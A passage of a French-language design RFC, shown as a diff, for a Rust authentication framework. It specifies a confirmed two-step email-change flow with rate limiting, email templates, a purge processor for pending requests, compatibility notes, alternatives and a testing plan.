| 479 | +- libellés **traduits** via l'`I18nService` quand il est injecté, repli sur les chaînes embarquées sinon — même contrat que les templates d'e-mail (§ 7) ; | |
| 480 | +- l'`action` du formulaire est un chemin **relatif** (`./`, c'est-à-dire la même URL en `POST`), pour que la page reste correcte quel que soit le préfixe sous lequel le consommateur a monté les routes. | |
| 481 | + | |
| 482 | +**Surchargeable.** Un consommateur qui veut sa propre présentation **monte sa propre route** `GET` sur le même chemin (ou sur un chemin à lui, en surchargeant l'URL des e-mails via `email_base_url`) et rend ce qu'il veut, du moment que son formulaire poste vers la route `POST` du core. Le point d'extension est la **route**, pas un trait de rendu : c'est le patron déjà utilisé dans le dépôt (le core expose une route par défaut, le consommateur la remplace dans son routeur) et il évite d'introduire une abstraction de templating dans `rustwarden-core`. | |
| 483 | + | |
| 484 | +> **Ce que remplace cette décision.** Le Draft envisageait un `EmailChangeResultTemplate` Askama, frère de `email_verified.html` (patron `EmailVerifiedTemplate`, `auth/handlers.rs` L208-229). Cette piste est **abandonnée** : elle lie le chemin de confirmation à la présence d'un template sur disque, ce qui est exactement ce qu'un consommateur headless ne veut pas. | |
| 485 | + | |
| 486 | +#### Rate limit : le `POST /api/v1/auth/email-change` doit-il passer sous `auth_ip_rate_limit` ? | |
| 487 | + | |
| 488 | +**Oui — retenu.** Justification : | |
| 489 | + | |
| 490 | +- La couche [`auth_ip_rate_limit`](../../crates/rustwarden-core/src/middleware/rate_limit.rs) L223-229 est **par IP**, 10 requêtes/minute par défaut (`DEFAULT_AUTH_MAX_PER_MINUTE`, L85 ; surchargeable via `RATE_LIMIT_AUTH_PER_MINUTE`). Elle est déjà appliquée au groupe `limited` de `auth/routes.rs` (L53-55). | |
| 491 | +- Le `POST` déclenche un **bcrypt** par appel (`verify_credentials`). C'est un endpoint coûteux en CPU : il appartient à la même famille que `/login` et `/2fa/verify`, tous deux dans `limited`. | |
| 492 | +- Le limiteur par utilisateur du service (3/h) protège la boîte cible ; le limiteur par IP protège le **serveur**. Les deux sont complémentaires, pas redondants. | |
| 493 | +- Coût : tous les utilisateurs derrière un même NAT partagent 10 req/min. Pour un endpoint utilisé quelques fois dans la vie d'un compte, c'est sans conséquence pratique. | |
| 494 | + | |
| 495 | +**Les quatre routes de lien (les deux `GET` et les deux `POST`) restent hors couche IP**, dans `unlimited`, comme `verify-email/{token}` aujourd'hui (L64-67). Trois raisons : | |
| 496 | + | |
| 497 | +- le brute-force de token est hors d'atteinte (UUID v4 → 122 bits d'entropie), donc le limiteur n'apporterait aucune sécurité ; | |
| 498 | +- ces routes ne font **aucun bcrypt** — le coût serveur est un `SELECT` indexé pour les `GET`, quelques `UPDATE` pour les `POST`. Seul `POST .../report/{token}` met des mails en file (un par administrateur), et il faut déjà détenir le token de signalement pour l'atteindre ; l'idempotence de `report_suspicious` borne d'ailleurs l'envoi à **un seul lot par demande**, quel que soit le nombre d'appels ; | |
| 499 | +- un limiteur par IP pénaliserait les passerelles mail mutualisées et les grands NAT d'entreprise, qui présentent des milliers d'utilisateurs derrière une seule adresse. | |
| 500 | + | |
| 501 | +Le seul `POST` protégé par le budget IP est donc `POST /api/v1/auth/email-change` (ouverture de demande), qui est aussi le seul à déclencher un bcrypt et deux envois de mail. | |
| 502 | + | |
| 503 | +### 5. `UserService::update_profile` — fail-loud | |
| 504 | + | |
| 505 | +La branche e-mail v1 (`user_service.rs` L277-301) et `notify_email_change` (L327-419) sont **supprimées**. À la place : | |
| 506 | + | |
| 507 | +```rust | |
| 508 | +if let Some(new_email) = &email { | |
| 509 | + let trimmed = new_email.trim(); | |
| 510 | + // Echoing the current address stays a no-op: profile forms submit every | |
| 511 | + // field, so an unchanged value must not be treated as a change request. | |
| 512 | + if trimmed != user.email.as_str() { | |
| 513 | + return Err(AppError::Validation( | |
| 514 | + "Email changes are not handled by update_profile; call \ | |
| 515 | + EmailChangeService::request_change (POST /api/v1/auth/email-change) \ | |
| 516 | + — the address is only written once the change is confirmed from \ | |
| 517 | + the link mailed to it." | |
| 518 | + .to_string(), | |
| 519 | + )); | |
| 520 | + } | |
| 521 | +} | |
| 522 | +``` | |
| 523 | + | |
| 524 | +**Fail-loud, pas d'ignorance silencieuse** : un consommateur qui continue d'envoyer une nouvelle adresse à `update_profile` obtient une `400` explicite pointant vers la bonne API, au lieu d'un succès mensonger où l'adresse ne bouge pas. La signature reste identique, donc **tout code consommateur compile sans modification**. | |
| 525 | + | |
| 526 | +**Cas administrateur.** `PUT /admin/users/{id}` passe aujourd'hui par le même `update_profile` et tombe donc sous la même erreur. Ce n'est pas une perte de capacité : le chemin opérateur devient `EmailChangeService::admin_force_change` (§ 3), qui fait explicitement — et en le traçant — ce que l'ancien chemin faisait par effet de bord. Le message d'erreur d'`update_profile` reste volontairement générique et pointe vers `EmailChangeService` : c'est le point d'entrée unique, la méthode exacte dépend de qui appelle. | |
| 527 | + | |
| 528 | +Effets de bord à traiter dans le même patch : | |
| 529 | +- `mask_email` (`user_service.rs` L16) n'a plus d'appelant dans `user_service` → déplacer en helper `pub(crate)` consommé par `EmailChangeService` (le test `mask_email_never_leaks_full_address`, L1177, suit). | |
| 530 | +- La § « Email revalidation (RFC 0038) » du rustdoc de `update_profile` (L213-239) est remplacée par le renvoi vers `EmailChangeService`. | |
| 531 | + | |
| 532 | +### 6. Adaptation minimale de `rustwarden-ui` (non cassante) | |
| 533 | + | |
| 534 | +`crates/rustwarden-ui/src/handlers/settings/profile.rs` poste `username` **et** `email` (L24-29, L50-51). Le formulaire renverrait donc l'adresse inchangée à chaque enregistrement : couvert par la branche no-op ci-dessus, aucune erreur. Trois retraits suffisent : | |
| 535 | + | |
| 536 | +- supprimer le calcul `email_was_changed` (L41-48) et l'appel à `PasswordChangeService::invalidate_on_email_change` (L55-68) — il n'y a plus de changement d'e-mail à ce point du flux. **L'appel n'est pas supprimé, il est déplacé** (tranché le 2026-09-19) : il vit désormais dans `EmailChangeService::confirm_change` (étape 9) et dans `admin_force_change` (étape 7), c'est-à-dire aux deux seuls endroits où `users.email` change réellement. Ce déplacement est la raison même de la décision : avec la v2, l'UI n'est plus dans la boucle à cet instant, garder l'appel côté handler le perdrait silencieusement ; | |
| 537 | +- ne plus transmettre `request.email` à `update_profile`, ou le transmettre tel quel (no-op) — au choix, les deux sont sûrs ; | |
| 538 | +- mettre à jour les commentaires `// RFC 0038` (L43, L70-74). | |
| 539 | + | |
| 540 | +Tout le reste — écran « demande en cours », bouton d'annulation, double saisie, appel au nouvel endpoint depuis le formulaire — est **hors scope** et fera l'objet d'un travail UI dédié. | |
| 541 | + | |
| 542 | +### 7. Templates d'e-mail et locales | |
| 543 | + | |
| 544 | +**Quatre** templates Askama dans `crates/rustwarden-core/templates/emails/`, sur le patron de `email_validation.html` / `EmailValidationTemplate` ([`email_templates.rs`](../../crates/rustwarden-core/src/templates/email_templates.rs) L377-494). Askama est ici légitime et sans conflit avec la contrainte headless de la § Routes : les e-mails sont produits par le service, pas par une route HTTP, et le framework rend déjà ses mails ainsi. | |
| 545 | + | |
| 546 | +| Fichier | Struct | Destinataire | Contenu | | |
| 547 | +|---|---|---|---| | |
| 548 | +| `email_change_validation.html` | `EmailChangeValidationTemplate` | nouvelle adresse | lien vers la **page de confirmation**, durée de validité, « si vous n'êtes pas à l'origine de cette demande, ignorez ce message » | | |
| 549 | +| `email_change_notice.html` | `EmailChangeNoticeTemplate` | adresse courante | adresse candidate **masquée**, rappel que le compte n'a pas changé, lien vers la **page de signalement** | | |
| 550 | +| `email_change_reported_admin.html` | `EmailChangeReportedAdminTemplate` | administrateurs | username, adresses masquées, horodatage, rappel que le changement **n'est pas** bloqué | | |
| 551 | +| `email_change_by_admin.html` | `EmailChangeByAdminTemplate` | ancienne **et** nouvelle adresse | adresses masquées, mention explicite « modification effectuée par un administrateur », **aucun lien d'action** (il n'y a rien à confirmer ni à signaler), invitation à contacter le support en cas de doute | | |
| 552 | + | |
| 553 | +Le quatrième template est la conséquence directe de la décision n° 1 : `admin_force_change` doit prévenir les deux boîtes. Il porte un seul corps, rendu deux fois (une fois par destinataire) ; c'est le même contenu pour les deux, puisque les deux personnes — s'il y en a deux — ont besoin de la même information. | |
| 554 | + | |
| 555 | +Les libellés des liens doivent refléter le schéma `GET` → page → `POST` : « Ouvrir la page de confirmation », pas « Confirmer » ; « Ouvrir la page de signalement », pas « Signaler ». | |
| 556 | + | |
| 557 | +**Six locales.** Les templates d'e-mail existants codent `fr`/`en` en dur (branches `{% if locale == "fr" %}` et `render_text()` à deux branches, L444-492) tandis que les sujets sont choisis par un `match` à quatre branches (`fr`/`de`/`es`/`_`, `email_validation_service.rs` L159-165). Les nouveaux templates **ne reproduisent pas** cette dette : | |
| 558 | + | |
| 559 | +- nouvelles clés sous une section `email_change:` dans les **six** fichiers `crates/rustwarden-core/locales/{fr,en,de,es,it,pt}.yml` : sujets, titre, salutation, corps, libellé de bouton, mention d'expiration, pied de page des **quatre** e-mails, **plus** les libellés des **pages interstitielles et des pages de résultat** des deux liens (titre, question posée, libellé du bouton, messages de succès et d'échec). Bien les **six de `rustwarden-core`**, pas ceux de `rustwarden-ui` : le service, les templates et les routes vivent dans le core, et le périmètre de cette RFC est core-only. Les deux jeux de fichiers existent en parallèle (`crates/rustwarden-core/locales/` pour le framework, `crates/rustwarden-ui/locales/` pour les écrans) ; | |
| 560 | +- les structs de template reçoivent des champs **déjà traduits**, patron `ProfileTemplate` de `rustwarden-ui` (`settings/profile.rs` L250-263, chaque champ alimenté par `i18n_service.translate(...)`) ; | |
| 561 | +- la locale du destinataire vient de `user_preferences.language` (`crates/rustwarden-core/src/models/user_preferences.rs` L22, lue via `UserPreferencesService::get_preferences`), avec repli sur [`config::tasks::default_locale()`](../../crates/rustwarden-core/src/config/tasks.rs) L150-152 ; | |
| 562 | +- sans `I18nService` injecté (`EmailChangeService::new` sans `with_i18n`), les templates **et les pages interstitielles** retombent sur les chaînes de repli embarquées dans le code — le service et ses routes restent utilisables en headless sans aucune plomberie i18n ni fichier de locale. | |
| 563 | + | |
| 564 | +> **Dette existante à ne pas répliquer** : `crates/rustwarden-core/locales/de.yml` et `es.yml` (67 lignes) n'ont pas la section `password_change_confirmation:` présente dans `fr`/`en`/`it`/`pt`. La section `email_change:` doit être ajoutée aux **six** fichiers, sans exception. | |
| 565 | + | |
| 566 | +### 8. Rétention et tâche de fond | |
| 567 | + | |
| 568 | +**Tranché le 2026-09-19 : un `PendingEmailChangeCleanupProcessor` en bonne et due forme, calqué sur [`PersonalTokenCleanupProcessor`](../../crates/rustwarden-core/src/tasks/personal_token_cleanup.rs) (L18-50), *plus* une méthode publique `cleanup_expired`.** Le Draft recommandait de ne pas ajouter de processeur, au motif que le framework n'en démarre aucun de son propre chef. L'arbitrage retient l'inverse : le fait que `app.rs` ne démarre pas les processeurs de purge est une **propriété du câblage**, pas une raison de ne pas fournir la primitive planifiable. Le consommateur qui veut la purge ne doit pas avoir à réécrire une boucle `tokio::interval` que le framework sait déjà écrire. | |
| 569 | + | |
| 570 | +1. **Processeur** `crates/rustwarden-core/src/tasks/pending_email_change_cleanup.rs`, déclaré dans `tasks/mod.rs` et re-exporté dans le prelude (`lib.rs`, à côté de `PersonalTokenCleanupProcessor` L66) : | |
| 571 | + | |
| 572 | + ```rust | |
| 573 | + /// Background processor that hard-deletes `pending_email_changes` rows | |
| 574 | + /// expired for longer than the retention window. | |
| 575 | + /// | |
| 576 | + /// Mirrors [`PersonalTokenCleanupProcessor`](crate::tasks::personal_token_cleanup::PersonalTokenCleanupProcessor): | |
| 577 | + /// **the framework never starts it**. `app.rs` leaves it alone on purpose — | |
| 578 | + /// the consumer owns its scheduling policy and calls `.start()` if it wants | |
| 579 | + /// the purge. Nothing breaks when it is never started: rows simply | |
| 580 | + /// accumulate, and the opportunistic purge below keeps the common case | |
| 581 | + /// bounded. | |
| 582 | + pub struct PendingEmailChangeCleanupProcessor { | |
| 583 | + db: Arc<DatabaseConnection>, | |
| 584 | + } | |
| 585 | + | |
| 586 | + impl PendingEmailChangeCleanupProcessor { | |
| 587 | + /// Create a processor bound to the given database connection. | |
| 588 | + pub fn new(db: Arc<DatabaseConnection>) -> Self { /* ... */ } | |
| 589 | + | |
| 590 | + /// Spawn the cleanup loop. First tick fires immediately, then every | |
| 591 | + /// `PENDING_EMAIL_CHANGE_CLEANUP_INTERVAL_SECS` (1 h). | |
| 592 | + pub fn start(self) { /* tokio::spawn + interval, patron L35-49 */ } | |
| 593 | + } | |
| 594 | + ``` | |
| 595 | + | |
| 596 | +2. **`EmailChangeService::cleanup_expired(db)` public** — c'est elle que le processeur appelle, et elle reste utilisable seule par un consommateur qui préfère un cron système, une tâche applicative ou un `DELETE` déclenché à la main. Le processeur n'est donc qu'un emballage de planification, ce qui le rend testable indépendamment de la primitive. | |
| 597 | +3. **Rétention : `const PENDING_EMAIL_CHANGE_RETENTION_DAYS: i64 = 30;`** — une constante de code, **pas de variable d'environnement** (cf. Non-goals). Prédicat de purge : `expires_at < now() - 30 jours`, quel que soit l'état de la ligne (consommée, signalée, ou simplement périmée) — passé ce délai, la ligne n'a plus aucune valeur opérationnelle, la trace durable étant dans `audit_logs`. | |
| 598 | +4. **Période du processeur : constante également**, `const PENDING_EMAIL_CHANGE_CLEANUP_INTERVAL_SECS: u64 = 3600;`. C'est la seule divergence assumée avec `PersonalTokenCleanupProcessor`, qui lit `PERSONAL_TOKEN_CLEANUP_INTERVAL_SECS` via `config::tasks` : la décision « aucune nouvelle variable d'environnement » prime, et la période d'une purge à horizon 30 jours n'a aucune raison d'être réglée finement. | |
| 599 | +5. **Purge opportuniste conservée** dans `request_change` : avant l'`INSERT`, supprimer les lignes **de cet utilisateur** dont `expires_at < now() - RETENTION`. Coût : un `DELETE` indexé sur un chemin déjà rare (3/h par utilisateur au maximum). Elle garantit que la rétention est respectée pour les comptes actifs **même chez un consommateur qui ne démarre jamais le processeur** — ceinture et bretelles, sans lesquelles la décision de ne pas auto-démarrer la tâche laisserait des PII s'accumuler chez les consommateurs distraits. | |
| 600 | + | |
| 601 | +**À documenter explicitement**, exactement comme pour les processeurs existants : `app.rs` **ne démarre pas** `PendingEmailChangeCleanupProcessor`. Le point est à écrire dans le rustdoc du processeur, dans le `MIGRATION_GUIDE.md` et à proposer **en commentaire** dans le scaffold du CLI (`tools/rustwarden-cli/src/templates.rs` L358-364, à côté de `PersonalTokenCleanupProcessor`) : | |
| 602 | + | |
| 603 | +```rust | |
| 604 | +// Purge des demandes de changement d'e-mail expirees (> 30 jours). | |
| 605 | +// Le framework ne la demarre pas : decommentez pour l'activer. | |
| 606 | +// PendingEmailChangeCleanupProcessor::new(db.clone()).start(); | |
| 607 | +``` | |
| 608 | + | |
| 609 | +**Pourquoi purger plutôt que conserver.** `new_email` est une donnée personnelle en clair. La valeur d'audit est préservée ailleurs et durablement : `confirm_change` et `report_suspicious` écrivent chacun une ligne `audit_logs` (adresses masquées), et c'est `audit_logs` — pas une table de travail — qui est le magasin d'audit du framework. Conserver indéfiniment des adresses candidates non confirmées serait une accumulation de PII sans contrepartie. | |
| 610 | + | |
| 611 | +### Usage consommateur | |
| 612 | + | |
| 613 | +```rust | |
| 614 | +use rustwarden_core::config::email::EmailConfig; | |
| 615 | +use rustwarden_core::error::AppError; | |
| 616 | +use rustwarden_core::services::email_change_service::EmailChangeService; | |
| 617 | +use sea_orm::DatabaseConnection; | |
| 618 | +use uuid::Uuid; | |
| 619 | + | |
| 620 | +/// Open an email-change request. Returns `Ok(())` once both emails are queued; | |
| 621 | +/// `users.email` is unchanged until the change is confirmed from the page the | |
| 622 | +/// emailed link opens. | |
| 623 | +async fn request_email_change( | |
| 624 | + db: &DatabaseConnection, | |
| 625 | + user_id: Uuid, | |
| 626 | + new_email: &str, | |
| 627 | + current_password: &str, | |
| 628 | +) -> Result<(), AppError> { | |
| 629 | + // `EmailConfig::from_env` returns `Result<Self, String>` (config/email.rs L119). | |
| 630 | + let email_config = EmailConfig::from_env().map_err(AppError::Config)?; | |
| 631 | + EmailChangeService::new(email_config) | |
| 632 | + .request_change(db, user_id, new_email, current_password) | |
| 633 | + .await | |
| 634 | +} | |
| 635 | +``` | |
| 636 | + | |
| 637 | +Recours opérateur, après vérification d'identité hors bande : | |
| 638 | + | |
| 639 | +```rust | |
| 640 | +use rustwarden_core::services::email_change_service::EmailChangeService; | |
| 641 | + | |
| 642 | +/// Force an address as an administrator. Writes `users.email` immediately, | |
| 643 | +/// revokes the target's sessions and leaves an `email_changed_by_admin` audit | |
| 644 | +/// trail. `actor_id` must hold the `admin` role, or the call fails with | |
| 645 | +/// `AppError::Forbidden`. | |
| 646 | +async fn admin_fix_email( | |
| 647 | + db: &DatabaseConnection, | |
| 648 | + actor_id: Uuid, | |
| 649 | + user_id: Uuid, | |
| 650 | + new_email: &str, | |
| 651 | +) -> Result<(), AppError> { | |
| 652 | + let email_config = EmailConfig::from_env().map_err(AppError::Config)?; | |
| 653 | + EmailChangeService::new(email_config) | |
| 654 | + .admin_force_change(db, actor_id, user_id, new_email, None) | |
| 655 | + .await | |
| 656 | +} | |
| 657 | +``` | |
| 658 | + | |
| 659 | +Côté `update_profile`, le changement visible pour un consommateur : | |
| 660 | + | |
| 661 | +```rust | |
| 662 | +use rustwarden_core::services::user_service::UserService; | |
| 663 | + | |
| 664 | +// Before RFC 0041: wrote users.email and cleared the verified flags. | |
| 665 | +// After RFC 0041: returns AppError::Validation pointing at EmailChangeService. | |
| 666 | +let err = UserService::update_profile(db, user_id, None, Some("new@example.com".into())) | |
| 667 | + .await | |
| 668 | + .unwrap_err(); | |
| 669 | + | |
| 670 | +// A username-only rename is unaffected. | |
| 671 | +let user = UserService::update_profile(db, user_id, Some("newname".into()), None).await?; | |
| 672 | +``` | |
| 673 | + | |
| 674 | +## Analyse de compatibilité | |
| 675 | + | |
| 676 | +Checklist : | |
| 677 | + | |
| 678 | +- [x] API existante non modifiée → les **signatures** de `UserService::update_profile`, `EmailValidationService`, `RefreshTokenService` sont inchangées. Tout consommateur **compile** sans retouche. | |
| 679 | +- [x] API existante étendue avec défaut → nouveaux items publics par **ajout pur** : `models::pending_email_change`, `services::email_change_service::EmailChangeService` (dont `admin_force_change` et `cleanup_expired`), `tasks::pending_email_change_cleanup::PendingEmailChangeCleanupProcessor`, quatre templates d'e-mail, **cinq** routes dans `auth_api_routes()` (`POST /email-change`, puis `GET` + `POST` sur `confirm/{token}` et sur `report/{token}`). | |
| 680 | +- [x] API existante modifiée ou supprimée → **breaking comportemental** : `update_profile` renvoie désormais `AppError::Validation` au lieu d'écrire une nouvelle adresse. Pas de rupture de compilation, rupture d'exécution **volontaire et explicite**. | |
| 681 | +- [x] Nouveau comportement par défaut → oui, sans feature flag (c'est un correctif de sécurité et de disponibilité). Aucun consommateur ne peut « rester en v1 » : la v1 n'a jamais été publiée. | |
| 682 | +- [x] Changement de schéma DB → migration `m20260919_000011_pending_email_changes`, `up` = `create_table` + index, `down` = `drop_table` → **réversible**, sans réécriture de table existante. | |
| 683 | +- [ ] Changement de format sérialisé → **non**. Le JSON du profil (`profile.rs` L121-125) garde les mêmes clés ; après RFC 0041 `email_verified` ne bascule plus à `false` sur un changement — un consommateur qui affichait « vérification en attente » après édition du profil n'a simplement plus ce cas. | |
| 684 | + | |
| 685 | +### Par rapport à la v1 (RFC 0038) — différentiel de comportement | |
| 686 | + | |
| 687 | +| Sujet | v1 (RFC 0038, non diffusée) | v2 (cette RFC) | | |
| 688 | +|---|---|---| | |
| 689 | +| Écriture de `users.email` | immédiate | **seulement après confirmation explicite** sur la page ouverte par le lien | | |
| 690 | +| `email_verified` pendant l'attente | `false` (compte dégradé) | `true` (compte intact) | | |
| 691 | +| Faute de frappe | lock-out définitif, recours admin obligatoire | la demande expire, **le compte n'a jamais bougé** | | |
| 692 | +| Session volée (sans mot de passe) | changement appliqué | **refusé** : re-auth mot de passe obligatoire | | |
| 693 | +| Ancienne adresse | alerte sans action | information **+ lien de signalement** | | |
| 694 | +| Sessions après changement | conservées | **refresh tokens révoqués** | | |
| 695 | +| Point d'entrée utilisateur | `UserService::update_profile` | `EmailChangeService::request_change` | | |
| 696 | +| Recours administrateur | `PUT /admin/users/{id}` → écriture directe, effet de bord d'`update_profile`, sans trace dédiée | `EmailChangeService::admin_force_change` — **explicite, réservé au rôle `admin`, tracé dans `audit_logs` + `on_audit_event`, sessions de la cible révoquées** | | |
| 697 | +| Déclenchement du changement | `GET` sur le lien de validation (préchargeable par une passerelle) | **page interstitielle + `POST`** : aucun `GET` n'écrit | | |
| 698 | +| Purge des demandes de changement de mot de passe | appel `invalidate_on_email_change` **côté UI**, à l'édition du profil | appel **côté core**, dans `confirm_change` et `admin_force_change` | | |
| 699 | +| Schéma | inchangé | une table + un processeur de purge (non démarré par défaut) | | |
| 700 | + | |
| 701 | +### Impact sur les RFC voisines | |
| 702 | + | |
| 703 | +- **RFC 0040** (`authenticate_user` honore `validation_email_required`) : compatible, et même **complémentaire**. Une adresse confirmée arrive `email_verified = true`, donc aucun blocage de login n'est introduit. Le couplage « changement d'e-mail ⇒ prochain login refusé » décrit dans `MIGRATION_GUIDE.md` **disparaît**. | |
| 704 | +- **RFC 0036** (`Username`) : intacte. Le rename de username passe toujours par `Username::parse` (`user_service.rs` L261) sur un vrai rename uniquement. | |
| 705 | +- **RFC 0037 / 0039** : sans interaction. | |
| 706 | + | |
| 707 | +## Alternatives considérées | |
| 708 | + | |
| 709 | +### Alternative A (**retenue**, acceptée le 2026-09-19) : table `pending_email_changes` + service dédié + double notification | |
| 710 | + | |
| 711 | +**Pros** | |
| 712 | + | |
| 713 | +- Supprime **la classe entière** des lock-out par changement d'adresse : rien n'est écrit tant que la possession n'est pas prouvée. Une faute de frappe expire en 24 h sans la moindre conséquence. | |
| 714 | +- Exige le mot de passe : une session volée seule ne déplace plus l'identité du compte. | |
| 715 | +- L'adresse arrive **vérifiée** : plus de fenêtre `email_verified = false`, donc plus d'interaction négative avec la RFC 0040. | |
| 716 | +- L'ancienne boîte reçoit un moyen d'**agir** (signalement), pas seulement un constat. | |
| 717 | +- Point d'entrée unique et nommé (`EmailChangeService`) : tous les consommateurs convergent, la logique ne se duplique plus dans chaque UI. | |
| 718 | +- Révocation des refresh tokens alignée sur le contrat déjà en vigueur pour les changements de mot de passe. | |
| 719 | + | |
| 720 | +**Cons** | |
| 721 | + | |
| 722 | +- La RFC la plus lourde du train, et les arbitrages du 2026-09-19 l'ont alourdie : migration + modèle + service (dont `admin_force_change`) + **5 routes** + pages interstitielles HTML sans templating + 4 templates d'e-mail × 6 locales + processeur de purge + retrait du code v1. | |
| 723 | +- **Trois** étapes visibles pour l'utilisateur (demande, clic sur le lien, confirmation sur la page) au lieu d'une ; l'UI actuelle n'en expose aucune (d'où l'adaptation minimale + un chantier UI ultérieur). La troisième étape est le prix payé pour l'immunité au préchargement des liens. | |
| 724 | +- Une table de plus à faire vivre (rétention, PII) et une tâche de fond de plus dans le catalogue — non démarrée par défaut, donc un point de documentation supplémentaire. | |
| 725 | +- Un administrateur ne peut plus corriger une adresse via `update_profile` : il doit appeler `admin_force_change`. C'est un changement d'appel pour les consommateurs qui exposaient `PUT /admin/users/{id}` — le coût réel de la décision n° 1, assumé en échange d'une capacité tracée au lieu d'un effet de bord. | |
| 726 | + | |
| 727 | +### Alternative B : garder la v1 et ajouter un simple « annuler » dans l'alerte à l'ancienne adresse | |
| 728 | + | |
| 729 | +L'adresse est écrite immédiatement, mais le mail à l'ancienne boîte porte un lien de rollback qui restaure l'adresse précédente et remet `email_verified = true`. | |
| 730 | + | |
| 731 | +**Pros** : diff plus petit (une table de rollback ou une colonne `previous_email`), conserve le flux `update_profile` actuel, ferme le scénario « session volée » *a posteriori*. | |
| 732 | + | |
| 733 | +**Cons** : **ne corrige pas le cas dominant**, la faute de frappe — l'ancienne boîte est souvent celle que l'utilisateur ne consulte plus, et le lien de rollback y part quand même. Entre l'écriture et le rollback, le compte est en `email_verified = false` : reset password et login pointent vers une adresse non prouvée. Introduit un état « adresse précédente » à maintenir, avec ses propres questions d'expiration. On paie une complexité comparable pour une garantie strictement plus faible. | |
| 734 | + | |
| 735 | +### Alternative C (ne rien faire / garder la v1 telle quelle) | |
| 736 | + | |
| 737 | +**Pros** : zéro coût, zéro risque immédiat, la v1 est déjà écrite, testée et documentée (`CHANGELOG.md`, `MIGRATION_GUIDE.md`, `SERVICES_REFERENCE.md`). Elle ferme bien le trou d'origine (le flag vérifié ne suit plus l'adresse). | |
| 738 | + | |
| 739 | +**Cons** : on publie sciemment un mode de panne que notre propre guide de migration qualifie de *« lock-out définitif sans recours self-service »*, avec pour seule parade une recommandation de double saisie **à réimplémenter dans chaque consommateur**. La fenêtre de substitution sans compatibilité ascendante (1.1.0 non coupée) se referme définitivement. Le scénario « session volée » reste ouvert. Dette garantie : la v2 devra être faite un jour, mais alors avec une migration de comportement pour les consommateurs déjà en production. | |
| 740 | + | |
| 741 | +### Alternative D : déléguer entièrement aux consommateurs (helper documenté, pas de service) | |
| 742 | + | |
| 743 | +Le framework refuserait le changement d'e-mail et publierait un « recipe » dans la doc ; chaque app (Gitrust, `rustwarden-ui`, headless) implémenterait sa table et ses mails. | |
| 744 | + | |
| 745 | +**Pros** : zéro surface d'API nouvelle dans `rustwarden-core`, zéro migration imposée, chaque app choisit sa politique. | |
| 746 | + | |
| 747 | +**Cons** : contraire à la raison d'être du framework — l'authentification et la gestion d'identité sont exactement ce que `rustwarden-core` centralise. Garantit la divergence entre consommateurs sur une primitive de sécurité, et donc des trous de sécurité inégaux. Multiplie par N le coût des 6 locales et des templates. Rend impossible un audit centralisé (`audit_logs`, `on_audit_event`). | |
| 748 | + | |
| 749 | +## Scénarios explicités | |
| 750 | + | |
| 751 | +### « J'ai perdu l'accès à mon ancienne boîte » | |
| 752 | + | |
| 753 | +**C'est le cas d'usage principal, et il fonctionne.** L'utilisateur est connecté (ou peut se connecter : son adresse courante est toujours `email_verified = true`, la RFC 0040 ne le bloque pas). Il connaît son mot de passe, donc `request_change` passe. Le lien de confirmation part vers la **nouvelle** boîte — celle qu'il possède. Il l'ouvre, confirme sur la page qui s'affiche, l'adresse change. | |
| 754 | + | |
| 755 | +L'information envoyée à l'ancienne adresse part dans le vide : elle rebondit ou reste non lue. **Aucune conséquence** : elle n'est ni un accusé de réception requis, ni un second facteur. Un bounce détecté par le service IMAP n'a pas à empêcher la confirmation. | |
| 756 | + | |
| 757 | +### « J'ai perdu l'accès à mon ancienne boîte **et** j'ai oublié mon mot de passe » | |
| 758 | + | |
| 759 | +Impasse self-service, **par construction et volontairement**. Le flux de reset (`PasswordResetService::request_reset`, `password_reset_service.rs` L102) envoie le lien vers l'adresse **stockée**, c'est-à-dire l'ancienne. Sans mot de passe et sans ancienne boîte, il ne reste aucun facteur à prouver : accorder le changement reviendrait à donner le compte à quiconque le demande. | |
| 760 | + | |
| 761 | +**Recours : l'administrateur**, après vérification hors bande de l'identité. C'est le même contrat que pour n'importe quel compte sans facteur récupérable. Le chemin est désormais **tranché et nommé** (décision n° 1 du 2026-09-19) : `EmailChangeService::admin_force_change(db, actor_id, user_id, new_email, hooks)`, réservée au rôle `admin`, qui écrit l'adresse sans confirmation, révoque les sessions de la cible et laisse une ligne `audit_logs` `email_changed_by_admin` (§ « `admin_force_change` — séquence et garde-fous »). Ce chemin **doit** être documenté dans le `MIGRATION_GUIDE.md` : c'est la question n° 1 que posera le support. | |
| 762 | + | |
| 763 | +### Course sur la même adresse cible | |
| 764 | + | |
| 765 | +Alice et Bob demandent tous deux `shared@example.com`. Les deux demandes sont créées : la vérification d'unicité de `request_change` ne voit encore aucun compte propriétaire. Alice confirme la première : `users.email` d'Alice devient `shared@example.com`. | |
| 766 | + | |
| 767 | +Bob clique ensuite. `confirm_change` re-teste l'unicité (étape 5) et échoue : | |
| 768 | + | |
| 769 | +> `This email address is no longer available. Request the change again with a different address.` | |
| 770 | + | |
| 771 | +Le message est **volontairement neutre** : il ne nomme pas le compte qui détient désormais l'adresse. La ligne de Bob n'est **pas** marquée `used_at`, donc si Alice libère l'adresse avant expiration, le lien de Bob fonctionne encore. La contrainte `UNIQUE` sur `users.email` ferme la fenêtre de course résiduelle entre le `SELECT` et l'`UPDATE` : l'erreur SeaORM correspondante est traduite en ce même `Validation`, jamais en 500. | |
| 772 | + | |
| 773 | +## Testing plan | |
| 774 | + | |
| 775 | +### Tests unitaires (sans DB) | |
| 776 | + | |
| 777 | +- `hash_token` : SHA-256 hex, 64 caractères, déterministe, différent pour deux entrées (patron des tests existants de `email_validation_service`). | |
| 778 | +- Limiteur : `new_with_limiter` isole du `OnceLock` de processus ; `new` partage le limiteur de processus ; le budget `email_change:{user_id}` est **distinct** de `email_verify:{email}` et `pwd_reset:{email}`. Reprendre les trois tests de [`email_validation_service.rs`](../../crates/rustwarden-core/src/services/email_validation_service.rs) L433-495. | |
| 779 | +- `Model::is_expired` / `is_used` / `is_pending` : table de vérité complète (4 combinaisons). | |
| 780 | +- Rendu des **quatre** templates d'e-mail : `render_html()` `Ok`, `render_text()` non vide, pour les **6** locales, et l'adresse candidate apparaît **masquée** dans `email_change_notice` comme dans `email_change_by_admin`. | |
| 781 | +- Rendu des **pages interstitielles** (fonction de construction HTML pure, testable sans DB ni serveur) : la sortie contient `<form` avec `method="post"`, un `<button`, **aucune** balise `<script`, **aucune** URL absolue vers une ressource externe, et le token n'apparaît pas en clair dans le corps visible ; rendu `Ok` pour les 6 locales et sans `I18nService` (chaînes de repli). | |
| 782 | + | |
| 783 | +### Tests d'intégration (DB de test, patron `user_service::tests` L690-695) | |
| 784 | + | |
| 785 | +Happy path : | |
| 786 | + | |
